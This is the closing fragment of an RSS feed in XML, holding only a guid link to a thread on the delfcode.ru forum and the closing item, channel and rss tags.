			<guid>https://delfcode.ru/forum/22-810-1</guid>
		</item>
	</channel>
</rss>